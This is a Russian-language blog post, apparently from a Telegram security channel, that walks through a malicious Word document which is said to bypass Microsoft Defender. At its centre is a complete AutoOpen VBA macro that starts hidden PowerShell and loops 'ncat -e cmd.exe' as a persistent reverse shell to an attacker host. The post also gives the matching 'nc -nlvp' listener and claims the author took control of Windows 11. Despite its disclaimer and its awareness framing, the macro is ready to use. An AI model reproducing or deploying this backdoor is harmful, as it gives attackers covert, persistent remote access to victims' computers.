Office 2019
March 3

Обход Defender: магия скрытого выполнения VBA-script

Дисклеймер:
Данный материал предназначен исключительно для ознакомительных целей и повышения осведомленности в области кибербезопасности. Автор не несет ответственности за использование приведенной информации в незаконных или вредоносных целях. Все описанные методы и техники представлены для изучения с целью улучшения защиты систем и понимания возможных уязвимостей. Помните, что несанкционированный доступ к компьютерным системам и данным является нарушением закона.

Сегодня хотел бы поговорить о безопасности Office 2019 и обходе защиты Windows Defender при выполнении VBA-скриптов.

На первый взгляд, современные системы защиты, такие как Microsoft Defender и встроенные механизмы безопасности Office 365, кажутся практически непробиваемыми. Однако, как и в любой сложной системе, здесь существуют уязвимости, которые могут быть использованы злоумышленниками. Эти уязвимости часто связаны с человеческим фактором, недостатками конфигурации или особенностями работы скриптов.

Microsoft Defender

Одним из таких примеров является использование VBA-script (Visual Basic for Applications) в документах Office. Несмотря на то, что Microsoft активно блокирует выполнение подозрительных макросов, злоумышленники находят способы обойти эти ограничения. Например, с помощью социальной инженерии пользователь может быть убежден включить макросы, или же скрипт может быть замаскирован под легитимный процесс.

Параметры макросов

Я хотел бы обсудить техническую сторону исполнения кода с использованием VBA-скриптов в Office 2019 и то, как такие скрипты могут обходить защиту Windows Defender. Этот материал не затрагивает методы социальной инженерии, такие как убеждение пользователя включить макросы или загрузка документов из ненадежных источников. Вместо этого мы сосредоточимся на технических механизмах, которые могут быть использованы для выполнения кода в системе.

Microsoft Office 2019
Версия 2501

На что нужно обратить внимание!

1) Подозрительные макросы в документах

2) Использование PowerShell

3) Сетевые соединения

4) Обфускация кода

5) Автозапуск макросов

6) Изменения в системе

Обычный документ может казаться безопасным на первый взгляд :)

документ.doc

VirusTotal сообщил неутешительные новости: анализ показал, что данный документ содержит вредоносный код. Настоятельно рекомендуется не открывать этот файл, чтобы избежать потенциальных рисков для системы и данных. Однако, учитывая, что большинство сотрудников не являются специалистами в области информационной безопасности, важно рассмотреть дальнейший сценарий действий.

VirusTotal

Откроем документ, хм...

документ.doc

"Включить содержимое"

документ.doc

А вот тут ты попался... Даже такие инструменты, как Microsoft Defender или настройки безопасности Office 365 по умолчанию, не всегда способны защитить от всех угроз. Давай разбираться, почему это происходит и как можно минимизировать риски.

Проверим VBA-script "alt+f11" и нажмём на "ThisDocument".

Вот и наш потенциальный вирус. Давайте разберёмся, что он из себя представляет!

Вот так выглядит наш script:

Sub AutoOpen()
Dim shell As Object
Set shell = CreateObject("Shell.Application")
Dim cmd As String
cmd = "powershell -WindowStyle Hidden -Command ""& {while ($true) { Start-Process 'cmd.exe' -ArgumentList '/k ncat -e cmd.exe <ip> <port>' -WindowStyle Hidden; Start-Sleep -Seconds 10 }}"""
shell.ShellExecute "powershell.exe", "-WindowStyle Hidden -Command ""& {while ($true) { Start-Process 'cmd.exe' -ArgumentList '/k ncat -e cmd.exe <ip> <port>' -WindowStyle Hidden; Start-Sleep -Seconds 10 }}""", "", "open", 0
End Sub

Описание кода:

  1. Автозапуск (AutoOpen):
    Макрос с именем AutoOpen автоматически выполняется при открытии документа в Microsoft Word. Это стандартный метод, используемый злоумышленниками для запуска вредоносного кода без ведома пользователя.
  2. Создание объекта Shell.Application:
    Код создает объект Shell.Application, который позволяет взаимодействовать с операционной системой, в частности, запускать процессы.
  3. Скрытый PowerShell:
    С помощью метода ShellExecute запускается PowerShell в скрытом режиме (параметр -WindowStyle Hidden). Это делает процесс невидимым для пользователя, что усложняет обнаружение вредоносной активности.
  4. Бесконечный цикл:
    В PowerShell выполняется бесконечный цикл (while ($true)), который каждые 10 секунд (Start-Sleep -Seconds 10) запускает процесс cmd.exe (командная строка Windows) с аргументами для выполнения команды ncat.
  5. Утилита Ncat:
    Команда ncat -e cmd.exe <ip> <port> устанавливает обратное соединение с удалённым сервером (IP-адрес , порт). Это позволяет злоумышленнику получить удалённый доступ к командной строке (cmd.exe) на заражённой машине.
  6. Цель:
    Код предназначен для создания бэкдора (backdoor), который предоставляет злоумышленнику постоянный доступ к системе через командную строку.

"И вот мы подключились к Windows 11. Несколько действий — и система под контролем. Может показаться, что быть хакером легко. Однако на самом деле за кадром остаётся огромная работа: изучение VBA-кода, поиск уязвимостей, анализ поведения системы и многочасовые поиски информации в интернете. Всё это требует глубоких знаний, терпения и времени."

nc -nlvp 1337

Я хочу выразить искреннюю благодарность моему другу — эксперту в сфере информационной безопасности и надёжному напарнику. В скором времени он поделится постом, где раскроет детали более сложного метода фишинга. Я также принимал участие в тестировании этого метода, что стало для меня ценным опытом. Хочу пожелать всем начинающим пентестерам упорства, любознательности и удачи в их нелёгком, но увлекательном пути изучения кибербезопасности!

Автор: https://t.me/cybersecuritybureau | Здесь еще больше разборов